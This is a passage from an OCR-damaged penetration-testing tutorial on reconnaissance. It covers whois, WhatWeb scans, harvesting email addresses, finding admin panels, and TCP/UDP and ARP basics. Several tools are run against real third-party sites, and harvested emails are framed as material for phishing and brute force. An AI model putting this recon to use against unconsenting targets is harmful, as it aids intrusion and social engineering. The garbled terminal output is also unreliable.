remarks: # abuse@etf.bg.ac.rs

notify: krajkoRetf.bg.ac.rs

mnt-by: ETF-MNT

mnt-lower: ETF-MNT

mnt-routes: ETF-MNT

created: 2003-09-04T21:58:44%

last-modified: 2019-12-04T13:13:01%

source: RIPE

person: Nenad Krajnovic

address: Serbian Open Exchange — SOX
address: Todora Dukina 78

address: 11000 Belgrade

We also get some email addresses, all of this could be useful for us,
depending on which type of attack we would plan. of course, we are not
going to be attacking this website since we do not have permission, but we
are simply just gathering information to see what can we retrieve from the
Internet about this website. And from now on, we are getting a bunch of
information about it.

we also get some email addresses, all of this could be useful for us,
depending on which type of attack we would plan. of course, we are not
going to be attacking this website since we do not have permission, but we
are simply just gathering information to see what can we retrieve from the
Internet about this website. And from now on, we are getting a bunch of
information about it now.



$ whois hackthissite.com

root@kali:/home/ncim# whois hackthissite.com
Domain Name: HACKTHISSITE.COM
Registry Domain ID: 93910060_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: http://ww.namesilo.com
Updated Date: 2020-01-13T08:30:21Z
Creation Date: 2003-01-12T16:08:15Z

Registry Expiry Date: 2021-01-12T16:08:15Z

Registrar: NameSilo, LLC

Registrar IANA ID: 1479

Registrar Abuse Contact Email: abuse@namesilo.com

Registrar Abuse Contact Phone: +1.4805240066

Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited

I will pretty much get the same information that they saw previously on the
website, we get those DNS servers, the registration date, modification date,
expiration date, we get the physical address and some other things, such as
ID number, tax ID, which is not really of interest to us, and by the way, in
real penetration tests that you will perform, all of the interesting information
is something that you want to write down in our report. For now, we only
saw how we can get basic information, such as IP addresses, country origin,
physical address and similar. But later, during information gathering and
scanning, we might find something that shouldn't be out there on the Internet
and that would be called information disclosure. It is something that client
doesn't want to be seen, but it is still publicly available. So anything that you
might think is interesting, you would write down. Now we know how we
can identify a target by getting its IP address and also getting its physical
address and some other interesting information as well. And even though
this isn't really hard information to get, it is a good beginning.

Now we're going to discuss a tool called What web, this tool is used to
gather information and to scan any website on the Internet. So it is primarily



used to scan websites, since this tool recognizes web technologies, including
Web servers and better devices, JavaScript libraries and many more things.
They have over 1700 plugins, each one of them used to recognize something
different. So they use these plugins to perform the scan on the website and
discover what technologies does that website run. What is important for us is
the level of aggression called stealthy is the fastest and requires only one
HTP request of a website. Now, what this simply means is that this what web
tool has different levels for scanning and the default level is the level of
aggression that is called stealthy, which we can use on any website that we
want. The other levels of scanning are more aggressive and should only be
performed during penetration tests. So we should not use the more
aggressive scans on the websites that we do not have permission to scan. We
can, however, use the stealth can on any website that we want on the
Internet. to check out all of the options we can do with WhatsApp, you can
simply just type

$whatweb



<TARGETs> Enter URLSs, hostnames
IP ranges in CIDR,

—input-file=FILE, -i

siom, -a=LEVEL 5 t ression level. Default:
TTP request per target and also

1 plugin is matched, additional
requests will be made.

—1list-plugins, -1 List all plugins.
—info-plugins, -I=[SEARCH] Lis L plu with detailed information.
Optionally h with a keyword.

-—verbose, -v Verbose output includes plugin descriptions.

Note: This is the short usage help. For the complete usage help use -h or —help.

This give you a smaller help menu with some of the basic features that
whatweb has, as we can see, we can specify targets which can be anything,
Hostname or IP addresses, and we have aggression level, there is the
aggression level one, which is stealthy and the aggression level three, which
is aggressive. The default level is level one, which is good to notice, so we
don't want to change this if we scan a random website on the Internet. But
these are just some of the options for the whatweb, to get even more
available options with what web we can type the command

$whatweb -help



WhatWeb - Next generation web scanner version @.5.5.
Developed by Andrew Hortom (urbanadventurer) and Brendan Coles (bcoles).
Homepage: https://ww.morningstarsecurity.com/research/whatweb

Usage: whatweb [options] <URLs>

TARGET SELECTION:
<TARGETs> Enter URLs, hostnames, IP addresses, filenames or
IP ranges in CIDR, X.X.X-X, OF X.X.X.X-X.X.X.X
format.
—input-file=FILE, -i Read targets from a file. You can pipe
hostnames or URLs directly with -i /dewv/stdin.

TARGET MODIFICATION:
—url-prefix Add a prefix to target URLs.
—url-suffix Add a suffix to target URLs.
—url-pattern Insert the targets into a URL.
e.g. example.com/%insert%/robots.txt

AGGRESSION:
The aggression level controls the trade-off between speed/stealth and
reliability.
—aggression, -a=LEVEL Set the aggression lewvel. Default: 1.
1. Stealthy Makes one HTTP request per target and also
follows redirects.
3. Aggressive If a level 1 plugin is matched, additiomal
requests will be made.
4. Heavy Makes a lot of HTTP requests per target. URLs
from all plugins are attempted.

HTTP OPTIONS:

—user-agent, -U=AGENT Identify as AGENT instead of WhatWeb/®.5.5.

—header, -H Add an HTTP header. eg "Foo:Bar". Specifying a
default header will replace it. Specifying an
empty value, e.g. "User-Agent:" will remove it.

—follow-redirect=WHEN Control when to follow redirects. WHEN may be
‘never', "http-only', "meta-only’, “same-site’,
or "always'. Default: always.

—max-redirects=NUM Maximum number of redirects. Default: 1@.

AUTHENTICATION:
—user, -u=<user:password> HTTP basic authentication.




name=value; namel=valuel .

it's give us a much larger help manual with all of the possible options that we
can use for what web. We can see besides the stealthy, if we are going to use
on random websites and besides the aggressive scan that you would use in a
penetration test, there is even more aggressive scan called heavy, and it says
makes a lot of HTTP request, but target URLs from all plug ins are
attempted. So this is basically the deepest scan that what Web tool can
perform on a website.

$whatweb arh.bg.ac.rs

] /
eb arh.bg.ac.rs 14
y 2 ial[°1, HTTP
Server[ 1L i .16 arh.bg s/], WPML-Plu
gin, X-Powered-By[PHP,

[1. nerator[WPML ver:3.1.9.7 stt:51,1;
1, PHP[ i avascript], ShareThis, Title[Univerzitet
y tur ommonHeaders[1ink], WPML-Plugin, WordPress|[

7.91.19.26], JQuery

And here it is, we already got something, we got two responses So let us just
go through these results and see what we got, we can see that we got the
Apache Web server, we even get the version, which is 2.4.6 we got some
cookies, which the website uses, we got from which country it is, which type
of HTTP server it uses, we have the IP address of this website. PHP version
that they use, and this redirects location, once we got redirected, we got the
response of 200 OK, and this is just a HTTP response code which tells us
that we successfully loaded a page. We got the same Apache version, the
bootstrap version, we got the country and we also managed to extract some
of the emails, as we can see, these are some of the emails from the page that
belong to this domain, we also see that it uses HTML5, which HTTP server
it has, which Apache version it has and a bunch of other things we can see
right here. But I don't really like how this is outputted. It is hard to read to
output this a little bit prettier. We can use



$whatweb arh.bg.ac.rs -v

Country

Summa : PHP[5.4.16 / arh.bg .rs/], Apache[2.4. HTTPServer[
1., x-pingback[http:// rh. i m -Powered-By[PHP/5.4.16], Cookies[_icl_curr
Plugin

Detected Plugins:
[ Apache ]

r for modern g
1 of this
nsib

[ Cookies ]
Disg es of cookies in the HTTP

urned to s on sp

[ HTTPServer ]
HTTP

is a wid

embedded into HTML. This plugin identifies PHP er
modules
usern

[ RedirectLocation ]
HTTP string location. used with http-status




It will pretty much give us the same result, just it will be outputted a whole
lot better and easier to read.

We get all of this information that we got previously, but we also get this
section which says detected plugins. And for example, if we didn't know
about the Apache was we could read right here what Apache is. We get once
again the country, the IP address and all of the detected plug ins, and we can
read through this and discover what is this website running? And it is
outputted a whole lot better and easier to read than the previous comment.

Now, we only saw how we can perform the basic scan on a certain website.
Another thing that we can do with whatweb besides testing a website, is to
test a range of IP addresses all at once.

Now, to test this out, I'm going to scan my entire home network and to know
what range of IP addresses should I scan for my home network I can type:

$ifconfig

/
eth@: flags=4163<UP,BROADCAST, RUNNING ,MULTICAST> mtu 1508
inet 1@ 15 netmask 255.255.255.8 broadcast 18.8.2.72
ineth fe :27ff:fedd:a5c1 prefixlen 64 scopeid 0x20<link>
:dd:a5:cl1 txqueuelen 1000 (Ethernet)
3 bytes 478160 (459.1 KiB)
0 dropped @ overruns @ frame @
s 173 bytes 12691 (12.3 KiB)
dropped ® overruns @ carrier @ collisions @

P, LOOPBACK , RUNNING> mtu 65536
t 127.8.8.1 netmask
h ::1 prefixlen 128
ueuelen 100 [ Le Loopback)
i @ B)

dropped @ rruns @ frame @
bytes 400 | .0 B)

carrier @ collisions @




And we can see that my IP addresses but what's more important than the IP
address in this case is the net mask, and my net mask is 255.255.255.0 The
subnet mask means that only the last octet of my IP address is changeable,
which is the last number. So these first three octets or these first three
numbers never change in my whole network, this also means that the range
of IP addresses that belong to my network are going to be from 0 to 255. So
basically, the range of the IP addresses that my network can have is
10.0.2.15-10.0.2.255 This is the range of my home network, So let me scan
it, for you It might be different based on what type of network you got, but
in most home networks, the subnet mask is going to be same.

And the good thing is I can use whichever aggression level I want since it is
my own network. Let's test out aggression level three.

$whatweb 10.0.2.15-10.0.2.255 -aggression 3 -v

2 /
eb 18.0.2.15-18.8.2.255




You will notice we are getting some of the results, but there is a lot of this
error happening on the screen, so what this error is, all of the hosts that it
tried to scan but couldn't manage to, and the reason why it couldn't manage
to scan these hosts is because they do not exist.

I currently only have around two or three devices on my home network and
all of these other IP addresses are out of use. This is just an example of a test
of how it would look like. And since I don't have any website on my home
network, it didn't really give much result.

Now, if you don't want this outputted, this red text, you can use the same
comment and at the end [ -- no errors] it simply just doesn't print these
offline IP addresses

$whatweb 10.0.2.15-10.0.2.255 -aggression 3 -v -no-errors

® i

b 18.8.2.15-18.8.2.255

If I run the same comment just with no errors, you will see we are not going
to get any red text anymore. It will only scan these to live IP addresses, and
keep in mind that since we are running level three of aggressions scan, it will
take a little bit more time to scan something then with level one, since it is
performing a deeper scan than just did level one stealthy scan.

what if we want to save this output that we got in a file for some future
references?

$whatweb 10.0.2.15-10.0.2.255 -aggression 3 -v -no-errors --log-
verbose=results




we can see our results file and its saved all the information that we got from
scanning.

If you send your whole network, you will probably have more devices or
less devices or you might not get any result in case none of your devices is
having an open port 80 or in case none of your devices is running in HTTP
server. So don't worry if you didn't get any device. This is just an example to
see that we can even run the ranges of IP addresses and to test out this
aggression level three, since we can only do it on the websites that we own
or have permission to scan.



Now, we are going to see how we can gather emails for a certain company or
a domain, Remember, people are always we get security. If we manage to
send some malicious program to someone working in a company and they
run the program, we got our way in. We can also use emails in something
like a brute force attack. We can use them in the username fields. There are
many ways this could be useful, but for now, let's just see how we can get
them. Since emails are public information, we can test this on any domain.
We want to get emails. We're going to check out two different options, a tool
called the Harvester that's installed in kali linux and a website called
Hunter.io

Let's start with Harvester first

$StheHarvester

/home/ncim

usage: theHarvester [-h] -d DOMAIN [-1 LIMIT] [-S START] [-g] [-p] [-s] [—screenshot ¢
[-v] [-e DNS_SERVER] [-t DNS_TLD] [-r] [-n] [-c] [-f FILENAME] [-b
theHarvester: error: the following guments are required: -d/--domain

@ /home/neim

this output us with a smaller help menu, just like the whatweb tool did once
we specified its name, we get its banner and some of the options that we can
run. it's tells us since we try to run it with just the name of the program, there
is an error, the following arguments are required, So we need to specify the



domain, but before we specify the domain, let us just run the bigger help
menu so we can see all of our available options.

$theHarvester --help

usage: theHarvester [-h] -d DOMAIN [-1 LIMIT] [-S START] [-g] [-p] [-s] [—screenshot SCREENSHOT] [-v] [-e DNS_SERVER] [-t DNS_TLD] [-r] [-n] [-c] [-f FILENAME] [-b SOURCE]

theHarvester is used to gather open source intelligence (OSINT) on a company or domain.

optional arguments:
show this help message and exit
-d DOMAIN, --domain DOMAIN
Company name or domain to search.
-1 LIMIT, --limit LIMIT

Limit the number of search results, default=500.
-S START, --start START

es in proxies.yaml.
resolved domains specify output directory: --screenshot output_directory
a DNS resolution and search for virtual hosts.
or lookup.
a DNS TLD expansion discovery, default False.

default False.
on the domain.

Save the results to JSON file.

-b SOURCE, --source SOURCE
anubis, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, github-code, google, hackertarget, hunter, intelx,
pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal,

So we get the domain option. So we need to specify either a company name
or domain name to search, and limit of search results, which is default = 500.
All these other options are not really of interest to us besides last source
option and this last source option would specify that -b and we specify
where we want to search for emails, we can need to specify one of these if
we can, for example, specify we want to search for Twitter, LinkedIn,
Google, or we can simply just specify all and it will go through all of these
in search for usernames, posts and emails.

$theHarvester -d [target.com] -b all



/home/ncim
spaceavis.com all

Its search for different results. It will search for hostname, it will search for
usernames, and it will also search for emails. So it searches through a bunch
of different platforms, like: LinkedIn, Trello, Yahoo, Twitter.

From my personal experience, this tool doesn't always work. There are days
when it gives amazing result, but there are days when it doesn't find any
emails or any hosts.

And I'm talking about scanning this same domain just on two different days.
That's why it is always good to, in case you don't get any results for this tool
right now to scan it multiple times.

So if we scan it once again but:

$theHarvester -d [target.com] -b google.com



/home/ncim
spaceavis.com google.com

If you still don't manage to get any results, just try the same command either
later or tomorrow, and I guarantee you it will usually give you a different
result. I didn't manage to find anything with this, so that's why we got a
second option and that second option is a website Hunter.io



& - G O B nttpsy/hunterio ke 2 O

®hunter o ae oa e in

Add Hunter to your toolkit.

More than 2,000,000 professionals use Hunter to build more

connections and grow their business.

® hunter 13 e for hunteria

Most comman pattern: {firsty@hunter.io

SupportS | I/ Enginesring: 3

Samara Al Badri Custarner Success O

samara@hunter.io &

Julien Salinas Software Engineer

julien@hunter.io &

Frangois Grante Cofounder [

francois@hunter.io @

Juliette Robin Custames Success

juliette@hunterio &

Firefox add-on - Free
re*wh % © Add to Firefox (it's free)
Google {12,000+ reviews) m"ﬂon

and we can see we got search bar where we specify our company domain
and we click on find email addresses. But on this website, you must first
create an account and you either have a free account or a paid account.
Technically, you can even search without creating an account, but it will
only show you first five results and there will be half blurred.

Let’s try it.



mas.bg.ac.rs Find email addresses

Most common pattern: {fH{last}@mas.bg.ac.rs 314 email addresses
z trovic@mas.bg.ac.rs 1 source v
r lic@mas.bg.acrs ® 1 source ~
s krajac@mas.bg.ac.rs @ 1 source v
s rin@mas.bg.ac.rs ® 3 sources
g upar@mas.bg.ac.rs @ 4 sources v

309 more results for "mas.bg.ac.rs"

Sign up to uncover the email addresses, get the full results, search filters, CSV downloads

and more. Get 25 free searches/month.

Create a free account

It will show me first five results and they will all be blurred, now you can
technically try to figure out what these email addresses are, but they will be
blurred nonetheless, and in the end, it also tells you how much results it
manages to find, it managed 309 more results besides these five emails, and
those results will be available if you get a paid account, and as I mentioned,
even with free account, you also don't get all the results outputted, but at
least the emails that it gives you are not blurred.

So for now, we took a look at a couple of tools used for information
gathering, but what happens if some of the tools stop working or if they get



outdated, what are we going to do?

We cannot depend on certain tools, if at all breaks, we must find our way
around to do the task, either using other tools or by creating that tool
ourselves. Well, luckily, there are a lot of tools available for us to download
online, and we cannot cover all of them, but what is important to cover is
how we can download them, so we're going to be searching for an
information gathering tool that we can download online and then run in Kali-
linux machine. The best place where we can find those download is GitHub,
most of you, if you are either a developer or a programmer, are already
familiar with GitHub. For those of you who don't know what GitHub is,
GitHub is world's largest community of developers that build and share their
software. So let's see how we can download some additional tools from
there.

We either know exactly which tools we want to download. So we search
them by their name or we have no idea what tools even exist. And this is the
case with we don't even know what we want. We only know that we are
looking for a tool used for information gathering. So let’s try to find it.



GO g|e information gathering tools github X Q

2 Al & images ([ Videos B News i More Tools

About 2,350,000 results (0.45 seconds)

https:/igithub.com/ ~
information-gathering - GitHub Topics - GitHub

fsociety Hacking Tools Pack — A Penetration Testing Framework ... All in one tool for Information
Gathering, Vulnerability Scanning and Crawling.

https:/igithub.com/ ~
Moham3dRiahi/Th3inspector: Th3Inspector & Best ... - GitHub

Th3Inspector & Best Tool For Information Gathering - Moham3dRiahi/Th3inspector. ... git clone
https:f/github.com/Moham3dRiahi/Th3inspector.git cd ...

https:/igithub.com/ ~
GitHackTools/BillCipher: Information Gathering tool ... - GitHub

Information Gathering tool for a Website or IP address, use some ideas from Devploit. BillCipher
can work on any operating system if they have and support ...

https://github.com/ ~
information-gathering-tools - GitHub Topics - GitHub

GitHub is where people build software. More than 65 million people use GitHub to discover, fork,
and contribute to over 200 million projects.

https:/igithub.com/ ~

twelvesec/gasmask: Information gathering tool - OSINT - GitHub
Information gathering tool - OSINT. Contribute to twelvesec/gasmask development by creating

Make sure that it is from the GitHub page and down here it will update us
with a bunch of different tools that are used for information gathering. they
are doing something like scan all possible codes for a given domain name,
information gathering, websites, reconnaissance, as you can see we got a
bunch of different tools. If we go to some other links, we will also see some
other tools available like Sherlock, the Photon, F. Society and bunch of
others as well, and let's just go with any one of them.



& Tuhinshubhra / RED_HAWK

<> Code

Gathering, Vulnerability Scanning and Crawling. A must have tool for all

It says all in one tool for information gathering, for ability scanning and
crawling, I must have for all penetration testers. So it seems interesting. Let
us click on it.

P master - ¥ 1 branct tags Go to file 4 Code ~
Tuhinshubhra N pull rec 0 ster = fa54e23 on Sep 17,2020 ) 36 commits

crawl

LICENSE

README.md

These are all of the files that the tool has. If I scroll all the way down.



Installation:

1. Run The Tool and Type fix This will Install All Required Modules.
2. ForThe B s View To Work Properly you have to configure RED HAWK with moz.com's api keys for that
follow the following steps:

How To Configure RED HAWK with moz.com for Bloggers View Scan

config.php file

All set, now you can enjoy the bloggers view.

we get how we can install it, Now, sometimes you will need to install some
of the requirements that tool needs in order to run, and you can almost
always find the comments that you must run on this tool page, in this case
we got the usage and installation. So all we need to do is follow both of
them. And different tools might need different requirements. But this is
something that you will get better at the more tools you install. However, to
just download a tool from GitHub, you will always use the same command,
and for this command, what we need to do is we need to copy the link to this
tool.

So just copy

5://github.com/Tuhinshubhra/RED_HAW!

$git clone https://github.com/Tuhinshubhra/RED HAWK


https://github.com/Tuhinshubhra/RED_HAWK

S /
git clone https://github.com/Tuhinshubhra/RED_ HAWK
Cloning into 'RED_HAWK' ...
remote: Enumerating objects: 106, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (4/4), done.

remote: Total 106 (delta @), reused 2 (delta @), pack-reused 102
Receiving objects: 100% (106/106), 47.02 KiB | 17.00 KiB/s, done.
Resolving deltas: 100% (43/43), done.

® /
[

As we can see, it downloaded all of the files and right now we got the folder
called Red hawk, which is our tool, and also keep in mind that sometimes
once you're searching for a tool, you might need to download multiple
different tools before you run into a good one. So let's test this Red hawk
tool out. Let's see whether it is any good to run it.

$ cd RED HAWK
$ls

® /
cd RED_HAWK

-] /RED_HAWK
1s

config.php Dockerfile functions.php LICENSE README.md rhawk.php sqlerrors.ini var.php version.txt

-] /RED_HAWK

So we've got some configuration files, functions.php. These are all of the
files that we really are not interested in at the moment. If there was, for
example, I use a file, we would most likely want to read that in case the tool
is complicated, but for now, we've got Redhawk.php file, and out of all of
these files, this is the file that seems to be the tool. So how can we run this?
Well, first we notice what type of file it is a PDF file, so to run it

$ php rhawk.php



.o /RED_HAWK

php rhawk.ghpl

Vulnerability Scanning

[$] Shout Out - You ;)

It to load this with its banner and it tells us right here that some of the
modules are missing and it tells us that we can try fix command or we can
simply just install it ourselves using terminal. So let's see whether this tool
will install it for us if I type

$fix

[#] Installing cURL. (Operation requires sudo permission so you might be asked for password)
E: dpkg was interrupted, you must manually run 'sudo dpkg --configure -a' to correct the problem.
[i] cURL Installed.

[#] Installing php-XML. (Operation requires sudo permission so you might be asked for password)
E: dpkg was interrupted, you must manually run 'sudo dpkg --configure -a' to correct the problem.
[i] DOM Installed.

[i] Job finished successfully! Please Restart RED HAWK

-] /RED_HAWK




And it seems we don't need to run other comments. It is also installing the
second thing that time missing. And it tells us, job finished successfully.
Please restart Redhawk. So let’s run it again and start scanning.

Let’s start with google

google.com

A

and enter 1 for HTTP and enter 2 for HTTPS, and since Google HTTPS we
will select 2.

https://gogoogle.com

Basic Recon (Site Title, IP Address, CMS, Cloudflare Detection, Robots.txt Scanner)
Whois Lookup
Geo-IP Lookup
Grab Banners
DNS Lookup
Subnet Calculator
NMAP Port Scan
Subdomain Scanner
IP Lookup & CMS Detection
canner (Finds Links With Parameter And Scans For Error Based SQLi)
s View (Information That Bloggers Might Be Interested In)
lordPress Scan (Only If The Target Site Runs On WP)
Crawler
MX Lookup

Check For Updates
Scan Another Website (Back To Site Selection)

And here we have all of the available options that we can use in our
Redhawk. We have basic recon, whois lookup, Grab banners, DNS lookup,
and you can choose any type of scan, that you need you can simply just type
the number like:



https://google.com

[S] Scan Type : GEO-IP Lookup

You can try all of them and find anything you want, but you should know
some of them may not work.

For now, on what we did is we managed to find the random tool on GitHub,
install it and get it to work.

I know one tool for finding admin page on the target website so let’s install it
and run it

$git clone https://github.com/Techzindia/admin_penal

® /
git clone https://github.com/Techzindia/admin_penal
Cloning into 'admin_penal' ...
remote: Enumerating objects: 10, done.
remote: Total 10 (delta @), reused @ (delta @), pack-reused 10

Receiving objects: 100% (10/10), done.

This tool will give us the admin panel of the target.

$cd admin_panel

e /
cd admin_penal

.o /admin_penal

ls
admin_panel_finder.py 1link.txt README.md

$ls



$ chmod +x admin_panel_finder.py

@ /admin_penal

g s
LS

admin_panel_finder.py Tlink.txt README.md

@ /admin_penal
od +x admin_panel_ finder.py

$python2 admin_panel_finder.py

/admin_penal
od +x admin_panel finder.py

/admin_penal
> admin_panel finder.py

**x Admin Panel Finder #*x
Script by @07h4ck3r white Hat
Stay llegal

Enter Site Name

(ex : example.com or ww.example.com ): spaceavis.com

Avilable links :
OK = http://spaceavis.com/admin.php
OK = http://spaceavis.com/admin.html

OK = http://spaceavis.com/index.php

And here it is, we can get all of the admin panel of the target. You might
never use this tool again or you might use it every time, it depends on which
type of penetration test you perform and what kind of strategy you planned
for your attacks, but it is always good to have a bunch of different tools and
options that you can use. Now that we know how we can download tools
from GitHub every time a certain tool breaks or you don't get the desired



result with some tool, you can go to GitHub and try to find a similar tool that
will give you better results.

Chapter 3

Here we are ready to start our scanning phase, we have covered the
information gathering, which was first phase of penetration testing, and now
we will proceed with the second stage by scanning our target and trying to
get even more information about it. Now, the difference between information
gathering and scanning is that scanning is performed on a much deeper level.
And also, while in the first phase, we gathered all kinds of information, such
as emails, phone numbers and bunch of other things in the scanning, we're
mainly focused on technology side. So we want to find out as much as we
can about our target's technical aspect. We're going to talk about in just a
second as to what exactly are we looking for in this stage and what are all
the goals of this stage. But first, you could be wondering, what are we going
to scan since remember that scanning is something that we are not allowed
to do on any target that we want? Don't worry, for this stage and any future
stage from now on, we're going to be using vulnerable virtual machines.
There are lots of vulnerable virtual machines that you can buy and test on,
but I will be showing the free ones so all of us can download them, install
them, and then try to hack the. All of these virtual machines are going to be
running some outdated, vulnerable software that we will be able to exploit in
the third stage, and they will also require very little hardware power. So all
of us will be able to run them while also running Linux. And keep in mind
that penetration testing process will look exactly like it would look in the
real world if you would test some website or some network. The only
difference is that right now we know that these machines are vulnerable,



since I just told you. And in real world, you wouldn't essentially know that
before testing them. However, just knowing they are vulnerable doesn't
really help us as we need to figure out in what way are vulnerable and how
can we take advantage of that.

Scanning will help us with this, we will be using our Linux machine to scan
these machines, and by scanning these machines, what they really mean is
we're going to directly exchange packets with our target, and once that target
sends packets back to us, hopefully it will discover something about the
target machine that we will find useful, what we will be sending to the target
is TCP and UDP packet, TCP and UDP are just protocols that are used for
sending bits of data, also known as Becket's. Just think of them as different
communication protocols that will allow us to get information from our
target. I keep talking about information and scanning and all of that without
actually explaining what do I mean by scanning and getting information,
what are the goals of this? What are we looking for exactly? Well, we're
looking for open ports, and I don't mean some physical ports.

I mean, we are looking for virtual open ports that every machine has, and it
uses them to close their software and communicate with other machines over
the Internet. For example, you watching something over Internet on a
website means that the machine that's hosting this website has port 80 open
why port 80? well, port 80 is used to host a Web server. It is used for HTTP
and it's also known as HTTP Port, So every time you visit a website, you are
essentially making a connection to that machine, hosting that website, one
port 80 or one port, 443 since Port 80 is used for HTTP and Port 443 is used
for HTTPS, and HTTPS is just a secure version of HTTP. These are the two
most usual ports that target that you're scanning externally will have open
and by external scanning, I mean that you're scanning it while not being in
the same network as the target, an example would be you scanning some
website from your home, and a port that could sometimes be open if you're
scanning internally, which means either scanning machines on your network
or your performing net for penetration testing inside of some company, you
could, for example, find Port 21 to be open, this is an FTP port and it's used
for file transferring, FTP stands for file transfer protocol. These are just two
of the ports and there are a lot of them, you could, for example, have for 22
open, which is SSH port or secure shell port, it is used to login to the target



machine and execute commands on it remotely. We could also have, for
example, Port 53 open, which is DNS, or we could have Port 25 which is
SMTP port. So there are a lot of ports, matter of fact, every machine has
sixty-five thousand five hundred and thirty-five ports for both TCP and UDP,
and if there is just one open port with one vulnerable software running on
that open port, then that target is vulnerable and it could be exploited, now
the high secure machines are the ones that have all ports closed. These are
usually your home devices, such as laptops or computers that you use just
for browsing online or playing video games or something. They don't need
to be hosting any software since they are not a server that someone will
connect to for a certain service. They're just home devices that you use. But
websites, for example, must have Port 80 or port 443 open since they are
hosting a web page there, also in companies, their machines could have
some port open, maybe they use that port on all their machines within that
company to internally transfer files between different machines. It could be
anything, basically. So, if target software use on their open ports is outdated
and has a vulnerability, then our job as a hacker is to scan that machine for
open ports and exploit that machine through that vulnerable software
running on the open port, but the goal for now in the scanning section is only
to scan the target for the open ports, then we want to discover what software
are running on those open ports, and we want to go as deep as discovering
what version of software is on that open port, we are going to be covering a
lot in this chapter and in this chapter we will cover one of the most important
tools that the hacker must master. That tool is called and nmap!

Before we proceed with scanning, I just want to give a basic overview of
TCP and UDP protocol for anyone that is encountering it for the first time.

We already mentioned what TCP and UDP are, they are two different
protocols used for sending bits of data or also known as packets. TCP and
UDP are not the only protocols that are out there, however, they are the most
widely used ones. So let's talk about TCP first.

TCP stands for Transmission Control Protocol and it is the most commonly
used protocol on the Internet. When you load a webpage, your computer is
sending TCP packets to the web server address, asking it to send a web page
to you, then the web server responds by sending a stream of TCP packets,
which are Web browser stages together to form the Web page that you see.



The same happens once you, for example, click on a link or post a comment,
your web browser sends TCP packets to the Web server and the server sends
TCP packets back. However, TCP is not a one-way communication, the
remote system sends packets back to acknowledge that it received your
packets, so TCP is based on three-way handshake, and as the name says,
three-way handshake is consistent out of three steps.

First one is SYN

In this step the client wants to establish a connection with the server, so it
sends a segment with SYN, and what SYN stands for is synchronize
sequence number, which informs server that client wants to start
communication and with what sequence number eight starts the segments
with.

After the SYN step comes the SYN/ACK, which is the second step, and in
the step, the server responds to the client's request with sending SYN/ACK
signal, ACK signifies the responsive segment it received and SYN is the
same from the first step. It signifies with what sequence number it is going
to start this segment with.

In the third and final step, which is just ACK. In this step, the client
acknowledges the response of server and they both establish a reliable
connection with which they will start the actual data transfer. This is just an
example of TCP communication establishing between a client and a server.
Once the data transfer starts, TCP guarantees the receiver will get the
packets in order by numbering them. Then the server sends messages back to
the sender, saying it received the messages or packets. If the sender does not
get the correct response, it will resend the packets to ensure the server got
the packets. All of those packets are also checked for errors. So TCP is all
about reliability packets and with TCP are tracked, so no data is lost or
corrupted in transit. That's why once you download the file, for example,
over the Internet, your file is working once you run it in your machine
because it is being transferred with TCP, so all the packets will reach their
destination without any errors.

UDP, on the other hand, stands for user datagram protocol, and datagram is
the same thing as a packet of information. And UDP protocol works
similarly to TCP, but it throws all the error checking stuff out. That's why



UDP is much faster. It is used when speed is desirable and error correction is
not necessary. For example, UTP is frequently used for live broadcasts and
online games. That's why UDP doesn't really care whether packets received
its destination and it will not send the packet. If it didn't reach the other part,
it will just continue sending other packets. You cannot ask for those missing
packets again with UDP, and these are just the basics behind two most
known protocols for communication. Even many of you probably knew this
already, it is good to have a refresher since we're going to need this
knowledge once performing, scanning.

Before we scan a single machine to discover open ports, we must first
discover what machines we got on our network, So the first part of scanning
a network is to figure out how many hosts you have active and what are their
IP addresses. In this case, we are going to act as if we got a task to scan our
home network and we want to discover vulnerable machines with our home
network. So let's start by saying how many host we got active first. There are
many ways that we can go about doing this, and to scan all hosts inside of
my network, I can just go and ping each and every one of them and see
whether they respond to our pinging or not. If they respond, they are online,
if not, they are offline. But what if I had to test more than one network?
What if I had ten more networks besides this one that I needed to test? am I
about to try to ping every possible host from all those networks? Of course
not. That's why we are going to use different tools to perform this much
faster. Let us try with the first tool called ARP. Now, ARP is a tool in linux,
but it is also a packet. ARP packets are used in Discovery hosts on the
network, just remember that they packet for discovering hosts before we use
ARP tools make sure your metasploitable is started up, and in case you got
some other devices that you can connect to the Internet, connect them just so
we can get various output and try to figure out which IP address belongs to
which host.

Now, our ARP tools works based on those are packets that I mentioned.
So if I type:
$ arp --help



] /home/necim

[-vn] i <if>] [-a]l [<hostname>]
[-v] i <ifs
a [-vnD] 3 >
arp [-v] i <if> < ddr> [temp]
arp [-v] <HW> i <if> <h > [netmask <nm>] pub

L1) hosts in alternative (BSD) style
) sts in default (Linux) style

ash (Ash) ether (

| om (AMPR NET/ 2 et )

i ( Fram d te Interface) hippi (HIPPI)
irda (ITLAP) x25 (generic X.25) euit4 (Generic EUI-64)

® /home/ncim

It’s doesn't have too many options, and these options are not something that
we are interested in. all we need is -a option.

$arp —a
e /home/ncim

{'- 168.0.3) at 08:00:27:12:db:3c [ether] on eth@
(192.168.0.1) at 52:54:00:12:35:00 [ether] on eth@

? (192.168.0.4) at 08:00:2 :ce:27 [ether] on eth@

2 Jhome/ncim

I got my metasploitable running, also got my laptop running, so it should be
discovering other hosts as well. So if I try to ping my metasploitable



sfadmin@netasploitable:™5 ifconfiqg

etho Link encap:Ethernet HWaddr 08:00:27:9b:ce:27
inet addr:192.168.0.4 Bcast:192.168.0.255 Mask:255.255.255.0
inetb addr: fd1?7:625c:f037:aB800:a00:27ff :fe9b:ce2?-64 Scope:Global
inetb addr: feB0::a00:27ff :fedb:ce2? 64 Scope:Link
UF BROADCAST RUNNING MULTICAST HMNTU:1500 Metric:1
RX packets:40 errors:0 dropped:0 overruns:0 frame:0
TX packets:90 errors:® dropped:0 overruns:Q carrier:®
collisions:0 txgqueuelen:1000
RX bytes:6401 (6.2 KB) TX bytes:11209 (10.9 KB)
Baze address:0xd020 Menory:fO200000-fOZ220000

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.0

inetb addr: ::1-128 Scope:Host

UF LOOPBACK RUNNING MTU:16436 Hetric:1

R¥X packets:128 errors:0 dropped:0 overruns:0 frame:0
